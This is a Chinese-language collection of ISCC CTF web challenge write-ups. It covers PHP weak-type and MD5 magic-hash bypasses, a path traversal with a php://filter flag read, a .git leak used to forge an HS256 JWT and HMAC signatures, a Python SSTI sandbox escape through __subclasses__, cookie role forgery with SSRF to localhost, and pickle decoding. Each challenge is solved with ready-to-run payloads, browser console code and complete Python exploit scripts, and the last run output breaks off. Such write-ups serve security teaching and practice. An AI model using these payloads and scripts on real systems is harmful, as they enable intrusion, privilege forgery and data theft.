校赛 Web WP

web1

解题思路

这题一共可以拆成三关,分别对应:

  1. 字符串替换绕过
  2. PHP 数组参数构造
  3. MD5 魔法哈希弱比较

第一关:step1 双写绕过

访问题目后,页面会回显一段调试信息:

1
Resultant String: '...'

通过测试可以发现:

  • key 会变成空
  • monkey 会变成 mon
  • flkeyag 会变成 flag

说明后端大概率存在类似下面的逻辑:

1
$step1 = str_replace('key', '', $_GET['step1']);

但程序后面又需要处理后的结果等于 key,所以可以使用双写绕过:

1
kkeyey

原因是:

1
kkeyey -> key

这样就能通过第一关。


第二关:构造 POST 数组

第一关通过后,页面会提示:

1
2
[AUTH] Phase 1 Success. Master Const: 1337
[SYS] Error: POST data structure 'a' missing.

这里重点不是普通的 a=1337,而是题目要求一个“结构化”的 a

实际通过测试可知,需要传:

1
a[key]=1337

这样在 PHP 中会被解析成:

1
$_POST['a']['key'] = 1337;

于是第二关通过。


第三关:MD5 魔法哈希

第二关通过后,页面提示需要 GET 参数 ab 进行 collision check。

这里直接使用经典 MD5 魔法哈希:

1
2
a=QNKCDZO
b=240610708

它们的 MD5 分别为:

1
2
md5("QNKCDZO")   = 0e830400451993494058024219903391
md5("240610708") = 0e462097431906509019562988736854

如果服务端使用了弱比较:

1
md5($a) == md5($b)

那么这两个值都会被当成科学计数法形式的 0e...,从而在 PHP 中都等价于数字 0,因此比较成立。

这样第三关通过,拿到 flag。


HackBar 利用方法

1. URL 栏填写

在 HackBar 的 URL 中填写:

1
<目标地址>/?step1=kkeyey&a=QNKCDZO&b=240610708

2. 请求方法

选择:

1
POST

3. POST Data

在 POST 数据中填写:

1
a[key]=1337

4. 发送请求

发送后即可得到 flag。


最终 Payload

GET

1
<目标地址>/?step1=kkeyey&a=QNKCDZO&b=240610708

POST

1
a[key]=1337

Flag

1
ISCC{hash_collision_v1_0e_2x_stable}

总结

这题考察的是三个典型 PHP Web 知识点:

  1. str_replace 双写绕过
  2. 数组参数构造
  3. MD5 魔法哈希弱比较

属于比较标准的 PHP 弱类型综合题。

JSON Beautifier

JSON Beautifier WP

题目信息

  • 目标: <目标地址>/
  • 关键接口:
    • /api/beautify.php
    • /api/preview.php

首页是一个 JSON 美化工具,robots.txt 里也能看到两个接口路径。访问 /api/preview.php 时会出现一句提示:

1
有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。

这句话基本就在提醒路径相关问题。

漏洞点分析

先看 /api/beautify.php 的行为。它支持两种模式:

  • raw: 提交 JSON 文本,服务端格式化后保存为临时文件
  • data_uri: 提交 data:text/plain;base64,...,服务端 base64 解码后保存为临时文件

返回值里会给出一个 preview_xxx.tmp,然后可以通过:

1
/api/preview.php?file=preview_xxx.tmp

来读取这个临时文件。

后面继续分析发现,preview.php 不只是读临时文件,它还允许读取源码目录下的文件。最终读到的关键源码逻辑如下:

1
2
3
4
5
6
7
$requested = TMP_DIR . '/' . $file;
$real = realpath($requested);
$tmpPrefix = rtrim(TMP_DIR, '/') . '/';
$srcPrefix = rtrim(SRC_API_DIR, '/') . '/';
if (!startsWith($real, $tmpPrefix) && !startsWith($real, $srcPrefix)) {
out(403, "Forbidden\n");
}

也就是说,file 参数最终拼到 TMP_DIR 后面,再走 realpath。只要真实路径仍然落在:

  • TMP_DIR
  • SRC_API_DIR

就允许读取。

源码读取

通过路径构造可以直接读到源码:

1
2
3
/api/preview.php?file=../../var/www/html/src/api/preview.php
/api/preview.php?file=../../var/www/html/src/api/beautify.php
/api/preview.php?file=../../var/www/html/src/api/config.php

其中 config.php 内容最关键:

1
2
3
4
5
const APACHE_DEFAULT_DOCROOT = '/var/www/html';
const APACHE_DOCROOT = '/var/www/html/src';
const TMP_DIR = '/tmp/json_preview';
const SRC_API_DIR = APACHE_DOCROOT . '/api';
const FLAG_PATH = '/secret/flag';

这里拿到了三条重要信息:

  • 临时目录: /tmp/json_preview
  • 源码目录: /var/www/html/src/api
  • flag 路径: /secret/flag

最终利用点

preview.php 在读取 .tmp 文件时还有一段特殊逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ($isTmp) {
$scheme = schemeOf($line);
if ($scheme !== null) {
$deny = [
'http', 'https', 'ftp', 'ftps',
'phar', 'expect',
];
$pos = stripos($line, 'resource=');
$resource = rawurldecode(substr($line, $pos + 9));
if ($resource !== FLAG_PATH) {
out(403, "Forbidden resource\n");
}
$data = @file_get_contents($line);
echo $data;
exit;
}
}

这里的问题是:

  • 它会把 .tmp 文件里的内容当成一个 URI 再次 file_get_contents
  • 它只禁用了 httphttpsftpftpspharexpect
  • 但是没有禁用 php://filter

所以我们只要让 .tmp 文件内容变成:

1
php://filter/read=convert.base64-encode/resource=/secret/flag

服务端就会主动去读取 flag,并把内容返回出来。

HackBar 复现步骤

1. 生成恶意临时文件

在 HackBar 里构造一个 POST 请求:

  • URL:
1
<目标地址>/api/beautify.php
  • Method:
1
POST
  • Header:
1
Content-Type: application/json
  • Body:
1
{"data":"data:text/plain;base64,cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==","preview_type":"data_uri"}

这里的 base64 解码后就是:

1
php://filter/read=convert.base64-encode/resource=/secret/flag

发送之后会得到类似响应:

1
{"success":true,"preview_id":"preview_xxxxxxxxxxxxxxxx","preview_file":"preview_xxxxxxxxxxxxxxxx.tmp"}

记下 preview_file

2. 读取临时文件触发二次读取

把上一步得到的文件名带入:

1
<目标地址>/api/preview.php?file=preview_xxxxxxxxxxxxxxxx.tmp

页面会返回一串 base64 数据,例如:

1
SVNDQ3tVVmJkNm5TUFkzV3ZFMjZmY1BzeTRWY2J9Cg==

3. base64 解码

把上面的返回值解码,得到最终 flag:

1
ISCC{UVbd6nSPY3WvE26fcPsy4Vcb}

一键脚本

本地已经写好一键利用脚本:

直接运行:

1
python F:\robot\test\exp.py

Flag

1
ISCC{UVbd6nSPY3WvE26fcPsy4Vcb}

夜班审计台

夜班审计台 Web 题 WP

题目信息

  • 目标:<目标地址>/
  • 类型:.git 泄露 + JWT 算法混用 + 旧版 HMAC 签名规则复用

初步探测

访问首页后,可以看到这是一个“夜班审计台”的查询页面,未登录时会提示跳转到 /login

继续读前端脚本 /static/main.js,可以看到一个非常关键的构建痕迹:

1
2
3
document.addEventListener("DOMContentLoaded", () => {
window.__buildTrace = "/.git/HEAD";
});

这个变量几乎就是在提醒选手去看 .git

验证结果如下:

1
2
3
4
5
6
GET /static/main.js
=> window.__buildTrace = "/.git/HEAD"
GET /.git/HEAD
=> ref: refs/heads/master
GET /.git/refs/heads/master
=> 9fdf9b412e7cfe179e59d28f25f47cffd68484e7

虽然 /.git/index 不能直接下载,但 /.git/objects/ 下的 loose objects 是可读的,因此可以顺着 commit/tree/blob 手工恢复源码。

源码恢复

当前 revision

当前分支指向的 commit 为:

1
9fdf9b412e7cfe179e59d28f25f47cffd68484e7

对应 object 路径:

1
/.git/objects/9f/df9b412e7cfe179e59d28f25f47cffd68484e7

解压 commit object 后可得到:

1
2
tree 8f738d6f9fb84ee91a26db967752dced4413a96e
parent 9df0e0cf00ce4994be27713089d701dcbb9183d2

继续读 tree object:

1
/.git/objects/8f/738d6f9fb84ee91a26db967752dced4413a96e

可以得到当前树中唯一文件:

  • legacy_probe_stub.py
  • blob: 55cf35feec8ad48b20bebcdb8080e66eaf089fda

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
DEFAULT_AUDITOR = ("auditor", "audit2025")
INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"
JWT_ACCEPTED = ["RS256", "HS256"]


def decode_ticket(token):
"""
current branch:
if header.alg == "RS256": verify with audit_rsa_pub.pem
elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET
normal login still issues role=user
"""

这里已经给出了当前利用链的第一段信息:

  1. 有默认账号 auditor / audit2025
  2. 服务端同时接受 RS256HS256
  3. HS256 使用硬编码密钥 ISCC_2026_JWT_DEBUG_KEY_#9527

正常登录时,服务端下发的是一个 RS256audit_token,但 token 中的角色仍然只有 user,说明必须自己伪造权限更高的票据。

上一个 revision

当前代码里还有一句非常醒目的提示:

1
note.append("if night shift asks for old sign rule, inspect previous revision")

因此继续查看父提交:

1
/.git/objects/9d/f0e0cf00ce4994be27713089d701dcbb9183d2

父提交对应的 tree 为:

1
14aef68bd64886840ee41f3749449d6d995200c2

父 tree 中同样只有一个文件 legacy_probe_stub.py,blob 为:

1
c9accad05490564b4a32c0053054b04475ca87b1

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SERVER_SECRET = "ISCC_SERVER_SECRET_REAL"
LOCAL_ONLY = ("127.0.0.1", "::1")
AUDIT_NODE = "core-storage-01"
TIME_WINDOW = 60


def verify_probe(node_id: str, ts: int, sign: str) -> bool:
"""
internal/audit fallback:
msg = f"{node_id}:{ts}"
expected = HMAC_SHA256_hex(SERVER_SECRET, msg)
abs(now-ts) <= 60
remote_addr in LOCAL_ONLY
"""

这里给出了第二段核心信息:

  • 节点签名密钥:ISCC_SERVER_SECRET_REAL
  • 目标节点:core-storage-01
  • 签名规则:HMAC_SHA256_HEX(secret, f"{node_id}:{ts}")

LOCAL_ONLY 的限制并没有阻止我们,因为 /auditor/nodes 这个页面本身就会代我们去调用内部接口,等于天然提供了转发通道。

利用链

1. 伪造审计员 JWT

既然服务端接受 HS256,而开发密钥又已经泄露,那么最省事的办法不是攻击 RS256,而是直接自己签一个 HS256audit_token

payload 结构如下:

1
2
3
4
5
6
7
{
"sub": "auditor",
"role": "auditor",
"iat": <当前时间戳>,
"exp": <当前时间戳 + 1800>,
"iss": "夜班审计台"
}

签名方式:

1
HMAC_SHA256("ISCC_2026_JWT_DEBUG_KEY_#9527", base64url(header) + "." + base64url(payload))

拿这个 token 作为 audit_token cookie,即可访问:

1
/auditor/nodes

2. 伪造节点查询签名

进入审计员页面后,会要求提交三个字段:

  • node_id
  • ts
  • sign

旧版本源码已经明确给出规则:

1
sign = HMAC_SHA256_HEX("ISCC_SERVER_SECRET_REAL", f"{node_id}:{ts}")

因此只需要取:

  • node_id = core-storage-01
  • ts = 当前时间戳

然后计算对应 sign 并提交给 /auditor/nodes

3. 返回 flag

当前环境中,页面会直接返回:

1
node_id=core-storage-01, status=OK, flag=ISCC{distributed_audit_jwt}

HackBar 手工复现

这里把“手工复现”定义为:

  • 不写专门的 exploit 脚本
  • 用浏览器访问页面确认漏洞点
  • 用浏览器 Console 计算 JWT 和 HMAC
  • 用 HackBar 发最终的 POST 包

HackBar 本身不负责 HMAC/JWT 计算,所以最顺手的打法是“Console 算值,HackBar 发包”。

第一步:确认 .git 泄露

直接在浏览器里访问:

1
2
3
<目标地址>/static/main.js
<目标地址>/.git/HEAD
<目标地址>/.git/refs/heads/master

确认存在 .git 暴露后,结合上面恢复出的源码,可以得到三组关键数据:

  • JWT 密钥:ISCC_2026_JWT_DEBUG_KEY_#9527
  • 节点签名密钥:ISCC_SERVER_SECRET_REAL
  • 目标节点:core-storage-01

第二步:在浏览器 Console 里伪造 audit_token

先打开目标站点任意页面,例如:

1
<目标地址>/

然后打开开发者工具 Console,执行下面这段 JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(() => {
const enc = new TextEncoder();
const b64uBytes = (bytes) =>
btoa(String.fromCharCode(...bytes))
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/g, "");
const b64uJson = (obj) => b64uBytes(enc.encode(JSON.stringify(obj)));
const hmacB64u = async (keyText, dataText) => {
const key = await crypto.subtle.importKey(
"raw",
enc.encode(keyText),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"]
);
const sig = new Uint8Array(
await crypto.subtle.sign("HMAC", key, enc.encode(dataText))
);
return b64uBytes(sig);
};
(async () => {
const now = Math.floor(Date.now() / 1000);
const header = b64uJson({ alg: "HS256", typ: "JWT" });
const payload = b64uJson({
sub: "auditor",
role: "auditor",
iat: now,
exp: now + 1800,
iss: "夜班审计台",
});
const sig = await hmacB64u(
"ISCC_2026_JWT_DEBUG_KEY_#9527",
`${header}.${payload}`
);
const token = `${header}.${payload}.${sig}`;
console.log("audit_token =", token);
document.cookie = `audit_token=${token}; path=/`;
})();
})();

这一步做完后,浏览器当前站点下就会有一个伪造好的 audit_token cookie。

为了确认是否成功,可以直接访问:

1
<目标地址>/auditor/nodes

如果页面显示当前用户角色是 auditor,说明 JWT 伪造已经成功。

第三步:在 Console 里生成节点签名

继续在同一个页面的 Console 里执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(() => {
const enc = new TextEncoder();
const hex = (buf) =>
[...new Uint8Array(buf)]
.map((b) => b.toString(16).padStart(2, "0"))
.join("");
(async () => {
const node_id = "core-storage-01";
const ts = Math.floor(Date.now() / 1000).toString();
const key = await crypto.subtle.importKey(
"raw",
enc.encode("ISCC_SERVER_SECRET_REAL"),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"]
);
const sign = hex(
await crypto.subtle.sign("HMAC", key, enc.encode(`${node_id}:${ts}`))
);
console.log({ node_id, ts, sign });
})();
})();

Console 会输出三项:

  • node_id
  • ts
  • sign

第四步:用 HackBar 发最终 POST 包

打开 HackBar,按下面格式发包。

URL:

1
<目标地址>/auditor/nodes

Method:

1
POST

Headers:

1
Content-Type: application/x-www-form-urlencoded

如果你的 HackBar 不自动带当前站点 cookie,就再补一行:

1
Cookie: audit_token=<第二步生成的 token>

Body:

1
node_id=core-storage-01&ts=<第三步输出的 ts>&sign=<第三步输出的 sign>

发出去之后,返回包里会直接出现:

1
node_id=core-storage-01, status=OK, flag=ISCC{distributed_audit_jwt}

HackBar 复现思路总结

这题手工发包时最容易卡住的点不是 POST 本身,而是两个签名值:

  1. audit_token 不是普通登录拿到的用户票据,而是要自己伪造 role=auditorHS256 JWT
  2. /auditor/nodes 不是随便填参数就行,还要带上旧版源码里的 HMAC 签名
  3. HackBar 负责发包,Console 负责算值,是最省时间也最稳的手工打法

最小复现脚本

如果不想手工点,可以直接用下面的 Python 版本一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import base64
import hashlib
import hmac
import json
import re
import time
import urllib.parse
import urllib.request

BASE_URL = "<目标地址>"
JWT_SECRET = b"ISCC_2026_JWT_DEBUG_KEY_#9527"
NODE_SIGN_SECRET = b"ISCC_SERVER_SECRET_REAL"
NODE_ID = "core-storage-01"


def b64u(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def build_jwt() -> str:
now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"sub": "auditor",
"role": "auditor",
"iat": now,
"exp": now + 1800,
"iss": "夜班审计台",
}
part1 = b64u(json.dumps(header, separators=(",", ":"), ensure_ascii=False).encode())
part2 = b64u(json.dumps(payload, separators=(",", ":"), ensure_ascii=False).encode())
sig = hmac.new(JWT_SECRET, f"{part1}.{part2}".encode(), hashlib.sha256).digest()
return f"{part1}.{part2}.{b64u(sig)}"


def build_node_sign(ts: int) -> str:
return hmac.new(NODE_SIGN_SECRET, f"{NODE_ID}:{ts}".encode(), hashlib.sha256).hexdigest()


def main() -> None:
ts = int(time.time())
body = urllib.parse.urlencode(
{
"node_id": NODE_ID,
"ts": str(ts),
"sign": build_node_sign(ts),
}
).encode()
req = urllib.request.Request(
f"{BASE_URL}/auditor/nodes",
data=body,
headers={
"Cookie": f"audit_token={build_jwt()}",
"Content-Type": "application/x-www-form-urlencoded",
},
)
html = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
match = re.search(r"flag=(ISCC\\{[^}]+\\})", html)
if not match:
raise SystemExit("flag not found")
print(match.group(1))


if __name__ == "__main__":
main()

运行:

1
python solve.py

输出:

1
ISCC{distributed_audit_jwt}

总结

这题的核心不是爆破,而是把两个 revision 的信息串起来:

  1. 当前 revision 泄露了 JWT 的 HS256 开发密钥
  2. 上一个 revision 泄露了内部节点查询的 HMAC 密钥和节点名
  3. /auditor/nodes 这个特权页面同时充当了内网转发器和最终回显通道

所以最终链条非常干净:

  1. .git 泄露恢复源码
  2. 伪造 HS256 审计员 JWT
  3. 计算旧版节点签名
  4. POST 到 /auditor/nodes
  5. 回显 flag

Final Flag

1
ISCC{distributed_audit_jwt}

区赛 Web WP

企业公文套红预览系统

解题思路

1. 信息收集

1.1 首页

访问靶机

企业公文套红预览系统 截图 1

页面展示 5 个公文字段:标题、发文单位、发文字号、发文日期、摘要

源码注释中直接泄露:

企业公文套红预览系统 截图 2

1.2 robots.txt

1
/robots.txt:

企业公文套红预览系统 截图 3

1
2
User-agent: *
Disallow: /backup/

1.3 备份文件泄露

已确认可访问:/backup/app.py.bak、/backup/index.php.bak、/backup/app.py.bak 内容:

其中 flag 的值 +++ 只是占位值,不是真实 flag。

1
/backup/index.php.bak 内容:

企业公文套红预览系统 截图 4

这个提示很关键输入内容一定要按照模板来”、“有一套模板就足够了”、“从空字符串对象 ‘’ 一路往上看”、意明显在暗示模板注入/SSTI,但实际实现并不是标准Jinja2。

2 明确被拦截的敏感词

在线实测中,这些会触发 模板已被拦截:、flag、config、request、self、os、open、read、import、eval、exec、popen、system、mro、secret、subprocess

3一个关键点:{{doc.get('title')}} 实际上是可以执行的。

模板引擎不是只允许数字,而是一个固定语法白名单解释器,允许以下形式:

1
2
3
4
5
{{doc.get('title')}}
{{doc.get('department')}}
{{doc.get('doc_no')}}
{{doc.get('date')}}
{{doc.get('summary')}}

这意味着doc是模板上下文中已注入的对象,且引擎允许,属性访问链(.操作符),方法调用(.get()),字符串字面量参数

企业公文套红预览系统 截图 5

4 核心矛盾

doc.get(‘flag’) 可以取到 flag 值(build_doc() 中有 flag 键),但 flag 关键词被黑名单拦截。

需要一种方法在 doc.get() 的参数中动态构造 ”flag” 字符串,而不直接出现 flag 子串。

5 绕过思路:SSTI 链 + chr() 拼接

提示”从空字符串对象’’一路往上看”的真正含义:

从’’(空字符串)出发,沿__class__.base.subclasses()链向上

找到BuiltinBridge类(index=117),从中提取chr函数

用chr()逐字符拼出”flag”,绕过关键词黑名单

将拼接结果传入 doc.get()

完整攻击链:

  • Step 1: 从空字符串出发’’.class # <class ‘str’>
1
- Step 2: 沿 MRO 向上''.class.base                 # <class 'object'>
1
- Step 3: 获取所有子类''.class.base.subclasses()  # 列表,index=117 是 BuiltinBridge
1
- Step 4: 提取 chr 函数''.class.base.subclasses()[117].init.globals['builtins']['chr']
  • Step 5: 用 chr 拼出 “flag”chr(102) + chr(108) + chr(97) + chr(103) # = “flag”

Step 6: 传入 doc.get()

1
doc.get(chr(102)+chr(108)+chr(97)+chr(103))  # = doc.get('flag')

6最终 Payload

1
{{doc.get(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103))}}

企业公文套红预览系统 截图 6

Exp

1
2
3
4
5
6
7
8
9
10
import requests
import re
import html

url = "<目标地址>/preview"
payload = "''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr']"
key = "+".join(f"{payload}({i})" for i in (102, 108, 97, 103))
payload = f"{{{{doc.get({key})}}}}"
resp = requests.post(url, data={"tpl": payload})
print(resp.text)

企业公文套红预览系统 截图 7

值班邮件台

解题思路

一个PHP”值班邮件台”应用,包含邮件列表、后台预览面板和内部诊断接口。需要依次完成 Cookie 伪造、信息收集、认证绕过和 SSRF 来获取 flag。

Step 1:Cookie 伪造 — 进入后台

首页响应头设置了两个关键 Cookie:

1
2
Set-Cookie: mail_user=guest
Set-Cookie: mail_role=user

邮件 m1(登录态先保留旧方案)提示:

值班同学如果要进后台,先确认自己当前是不是管理员视角。

将 mail_role 从 user 改为 admin,即可访问 /admin.php:

1
curl -b "mail_user=admin; mail_role=admin" <目标地址>/admin.php

Step 2:信息收集 — 发现内部路由

后台面板有一个文件下载链接 /download.php?file=files/notes/preview-readme.txt,其中提到诊断地址命名规则以 route-index.txt 为准。下载该文件:

1
[内部诊断路由索引]
  • health -> /internal/health
  • mailq -> /internal/queue
  • final -> /internal/report?view=flag&slot=last
1
final 路由即为 flag 所在位置。

Step 3:MD5 碰撞 — 绕过双人复核

后台表单有三个字段:token_a、token_b、target_url。提交后返回:

双人复核未通过:两份预览凭据无法相互印证。

邮件 m3 提示”先做摘要再比对,两份输入至少得看起来不是同一串”——服务端对两个 token 分别取 MD5,然后用 == 松散比较。

利用 PHP 的 0e magic hash 绕过:当 MD5 值以 0e 开头且后面全是数字时,PHP 会将其解析为科学计数法 0 × 10^n = 0,两个不同的字符串因此”相等”:

字符串 MD5
240610708 0e462097431906509019562988736854
QNKCDZO 0e830400451993494058024219903391

两者松散比较结果均为 0 == 0,复核通过。

Step 4:SSRF — 获取 Flag

复核通过后,target_url 参数由服务端发起内部 HTTP 请求。填入步骤 2 发现的路由:

http://127.0.0.1/internal/report?view=flag&slot=last

响应 textarea 中返回:

ISCC{ACxmCnWgL3C7LqWImKfgtK6h}

值班邮件台 截图 1

Exp(如有,请粘贴完整代码,不允许截图!)

1
2
3
4
5
import requests
import re

url = "<目标地址>"
s = requests.Session()
1
2
s.cookies.set("mail_user", "admin")
s.cookies.set("mail_role", "admin")

2. MD5 magic hash 绕过 + SSRF

1
2
3
4
5
resp = s.post(f"{url}/admin.php", data={
"token_a": "240610708",
"token_b": "QNKCDZO",
"target_url": "[http://127.0.0.1/internal/report?view=flag&slot=last](http://127.0.0.1/internal/report?view=flag&slot=last)",
})

3. 提取 flag

1
2
m = re.search(r"ISCC{.*?}", resp.text)
print(m.group())

灵感笔记

解题思路

灵感笔记 截图 1

一、信息收集

访问:GET / HTTP/1.1Host: <目标主机>

返回:HTTP/1.1 302 FOUNDLocation: /login

登录页标题和文案是“灵感笔记”,注册后会跳到:/dashboard

表面功能只有:

1
2
3
4
5
6
/login
/register
/dashboard
/settings
/feedback
/project/

但抓到页面脚本后,发现真实线索在:

1
/main.js

里面出现了完全不同的一套命名:

1
2
3
4
const API_BASE = '/api/v1';console.log('[System] Project Management System initialized');console.log('[Debug] Use this trace_id at /feedback to contact the author');fetch('/api/admin/hint')fetch(`${API_BASE}/project/detail`, {
method: 'POST',
body: JSON.stringify({ project_id: projectId })
});

这说明:

站点前端文案和真实后端功能是错位的

存在隐藏接口 /api/v1/project/detail

存在管理员接口 /api/admin/hint

报错时会生成 trace_id,并可在 /feedback 查询日志

二、trace_id 日志回显

随便请求一个不存在的项目:

1
GET /project/00000000-0000-0000-0000-000000000000 HTTP/1.1Host: <目标主机>

返回:

1
2
3
4
{
"error": "访问被拒绝",
"message": "您无权查看此笔记",
"trace_id": "3f5524f2-ef71-4948-b81a-094a53658ac5"}

然后访问:

1
2
POST /feedback HTTP/1.1Host: <目标主机>Content-Type: application/x-www-form-urlencoded
trace_id=3f5524f2-ef71-4948-b81a-094a53658ac5

页面会直接回显日志内容:

1
2
3
4
5
6
7
8
9
10
11
12
{
"level": "错误",
"message": "笔记不存在: 00000000-0000-0000-0000-000000000000",
"metadata": {
"source": "notes_module"
},
"project_id": "00000000-0000-0000-0000-000000000000",
"request_data": "GET /project/00000000-0000-0000-0000-000000000000",
"stack_trace": "NoteNotFoundException: 笔记不存在",
"timestamp": "...",
"trace_id": "...",
"user_id": "6e6b5310-2ad8-492a-8d6d-ce528fd81345"}

这一步说明:

1
/feedback 可以按 trace_id 读日志

日志里会泄露 user_id、模块名、请求路径等调试信息

这条链是题目明确引导的辅助利用点

不过目前测试下来,trace_id 本身没有明显的目录穿越或 SQL 注入效果。

三、真正的存储位置在客户端 Session

抓到 session cookie 后,直接做 Base64 + zlib 解码,可以看到完整 JSON。

示例解码后内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"_permanent": false,
"favorites": [],
"logged_in": true,
"logs": {},
"notes": [
{
"id": "c08eccec-3e0d-47fb-8943-36851e8a41a0",
"name": "我的第一篇笔记",
"content": "今天开始使用灵感笔记了!...",
"tags": ["随笔", "日记"]
},
{
"id": "16fd4e74-4c14-4184-8184-9880551cbb96",
"name": "写作素材收集",
"content": "今天收集的一些写作素材:...",
"tags": ["素材", "写作"]
}
],
"registered_users": ["codex_xxx"],
"trash": [],
"user_id": "977c6e70-f06f-49d1-9bae-5da6b60058dc",
"username": "codex_xxx"}

结论:

用户笔记、收藏、回收站等几乎都存在 session 里

后端严重依赖客户端 session 中的身份字段

后续所有“权限”很可能只是基于 username 等简单值判断

四、伪造管理员身份:直接注册 admin

灵感笔记 截图 2

这里是目前最关键、也是已经实际验证成功的一步。

直接注册:

1
2
POST /register HTTP/1.1Host: <目标主机>Content-Type: application/x-www-form-urlencoded
username=admin&password=pass123456

注册成功后,访问:

1
GET /api/admin/hint HTTP/1.1Host: <目标主机>Cookie: session=...

普通账号返回:

1
{"error":"无权限"}

而 admin 账号返回:

灵感笔记 截图 3

这说明管理员校验非常弱,至少满足下面条件之一:

直接比较 session[“username”] == “admin”

或者以是否注册了名字叫 admin 的用户作为管理员条件

无论哪种,本质都是未授权管理员身份获取。

五、隐藏接口 /api/v1/project/detail

该接口对我们自己的项目 ID 是可读的。

请求:

1
2
POST /api/v1/project/detail HTTP/1.1Host: <目标主机>Content-Type: application/jsonCookie: session=...
{"project_id":"bf7b1c68-805f-4ade-8ea3-60b67dd20471"}

返回:

1
2
3
4
5
6
7
8
9
{
"success": true,
"note": {
"id": "bf7b1c68-805f-4ade-8ea3-60b67dd20471",
"name": "我的第一篇笔记",
"content": "...",
"folder": "默认文件夹"
}
}

但对随机 UUID 会返回:

1
2
3
4
5
{
"error": "笔记不存在",
"message": "笔记不存在",
"trace_id": "..."
}

目前已经确认的行为:

这个接口真实存在

能读取当前 session 中的笔记对象

普通 Host 下还没有直接出 flag

六、真正的隐藏笔记

灵感笔记 截图 4

在 admin 会话下,dashboard 会直接显示隐藏笔记:

并且:

1
GET /api/note/flag-project-001 HTTP/1.1Host: <目标主机>Cookie: session=...

可以直接读到它的内容:

灵感笔记 截图 5

这说明:

flag-project-001 确实存在

1
/api/note/ 比 /api/v1/project/detail 更宽松

但笔记正文里只有 secret 提示,没有直接给出 flag

七、project/detail 拒绝访问时泄露序列化对象

当我们用 admin 身份去请求:

灵感笔记 截图 6

返回:

1
2
3
4
5
{
"error": "访问被拒绝",
"message": "您无权查看此笔记",
"trace_id": "9ee5bc5a-e817-4f4a-aa26-1fb7cc50764a"
}

然后把这个 trace_id 交给 /feedback:

1
2
POST /feedback HTTP/1.1Host: <目标主机>Content-Type: application/x-www-form-urlencoded
trace_id=9ee5bc5a-e817-4f4a-aa26-1fb7cc50764a

日志内容里会出现:

灵感笔记 截图 7

关键点就在 stack_trace 的:

Object:

这是一个 Python pickle 序列化对象的十六进制表示。

八、解码序列化对象

本地解码:

灵感笔记 截图 8

最终 flag:ISCC{Hch8dGwumApTYSBA4EcuXMNkT}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import pickle
import re
import requests

BASE = "<目标地址>"
USERNAME = "admin"
PASSWORD = "pass123456"


def ensure_admin_session(session: requests.Session) -> None:
response = session.post(
BASE + "/login",
data={"username": USERNAME, "password": PASSWORD},
timeout=(5, 10),
allow_redirects=True,
)
if "session" in session.cookies:
print(f"[+] logged in as {USERNAME}: {response.status_code}")
return
response = session.post(
BASE + "/register",
data={"username": USERNAME, "password": PASSWORD},
timeout=(5, 10),
allow_redirects=True,
)
if "session" not in session.cookies:
raise RuntimeError("failed to create or log into admin session")
print(f"[+] registered as {USERNAME}: {response.status_code}")


def get_trace_id(session: requests.Session) -> str:
response = session.post(
BASE + "/api/v1/project/detail",
json={"project_id": "flag-project-001"},
timeout=(5, 10),
)
print(f"[+] trigger response: {response.status_code}")
print(response.text)
match = re.search(r'"trace_id"\s*:\s*"([0-9a-f-]{36})"', response.text, flags=re.I)
if not match:
raise RuntimeError("could not extract trace_id")
return match.group(1)


def fetch_log(session: requests.Session, trace_id: str) -> str:
response = session.post(
BASE + "/feedback",
data={"trace_id": trace_id},
timeout=(5, 10),
)
print(f"[+] feedback response: {response.status_code}")
return response.text


def decode_flag(log_html: str) -> str:
match = re.search(r"Object:\s*([0-9a-fA-F]+)", log_html)
if not match:
raise RuntimeError("could not find serialized object in log")
obj = pickle.loads(bytes.fromhex(match.group(1)))
print(f"[+] decoded object: {obj}")
flag = obj.get("flag")
if not flag:
raise RuntimeError("flag missing in decoded object")
return flag


def main() -> None:
session = requests.Session()
session.trust_env = False
session.headers.update({"User-Agent": "codex-final-probe/2.0"})
ensure_admin_session(session)
trace_id = get_trace_id(session)
print(f"[+] trace_id: {trace_id}")
log_html = fetch_log(session, trace_id)
flag = decode_flag(log_html)
print(f"[+] FLAG: {flag}")


if __name__ == "__main__":
main()

运行结果

1
2
3
4
5
6
7
[+] logged in as admin: 200
[+] trigger response: 403
